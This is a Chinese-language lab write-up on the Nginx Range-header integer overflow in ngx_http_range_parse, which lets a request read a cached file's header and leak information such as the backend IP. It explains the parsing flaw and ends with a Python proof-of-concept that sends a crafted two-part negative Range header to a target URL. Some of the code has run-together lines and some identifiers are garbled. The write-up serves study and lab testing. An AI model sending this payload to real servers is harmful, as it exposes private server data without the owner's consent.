漏洞影響
低危,造成信息泄露,暴露真實ip等
實驗內容
漏洞原理
通過查看patch確定問題是由于對http header中range域處理不當造成,焦點在ngx_http_range_parse 函數中的循環:
HTTP頭部range域的內容大約為Range: bytes=4096-8192bytes=-字符串指針p中即為“bytes=”后面的內容
這段代碼是要把“-”兩邊的數字取出分別賦值給 start 和 end 變量標記讀取文件的偏移和結束位置。
對于一般的頁面文件這兩個值怎么玩都沒關系。但對于有額外頭部的緩存文件若start值為負(合適的負值)那么就意味著緩存文件的頭部也會被讀取。
因此我們需令 suffix = 1由此可推知Range 的內容必然為Range:bytes=-xxx即省略初始 start 值的形式。
那么我們可以通過 Range 中設 end 值大于content_length(真正文件的長度),這樣 start 就自動被程序修正為負值了。
但是在寫利用過程中發現一個問題若 end 值很大那么 start 的絕對值也會很大會超過緩存文件的起始頭部造成讀取失敗。若 end 值不夠大那么換算下來 size = end – 1 >= content_length (end > content_length 見前文所述)就不能通過循環外面的檢測:
if (size>content_length){
return NGXDECLINFD;
}
這樣的話似乎無論設 end 為何值都無法達成利用了。繼續跟進代碼發現這個循環是個無條件循環,尾部為
if (*p++ !=’,’){
break;
}
也就是說若 Range 域形如Range: bytes=start-end,start1-end1,…就還有機會繼續完成利用。
我們可以構造一個 Range: bytes=-X, -Y
一大一小兩個 end 值只需要控制前面一個 end 值小而后一個 end 值大從而實現 start 值和 size 值皆為負數控制 start 值負到一個合適的位置,那么就能成功利用讀到緩存文件頭部了。
POC:
訪問http://your-ip:8080/,即可查看到Nginx默認頁面,這個頁面實際上是反向代理的8081端口的內容。
調用python3 poc.py http://your-ip:8080/,讀取返回結果:
#!/usr/bin/env python
import sys
import requestsif len(sys.argv) < 2:print("%s url" % (sys.argv[0]))print("eg: python %s http://your-ip:8080/" % (sys.argv[0]))sys.exit()headers = {'User-Agent': "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.135 Safari/537.36 Edge/12.10240"
}
offset = 605
url = sys.argv[1]
file_len = len(requests.get(url, headers=headers).content)
n = file_len + offset
headers['Range'] = "bytes=-%d,-%d" % (n, 0x8000000000000000 - n)r = requests.get(url, headers=headers)
print(r.text)
參考鏈接:https://zhuanlan.zhihu.com/p/34155943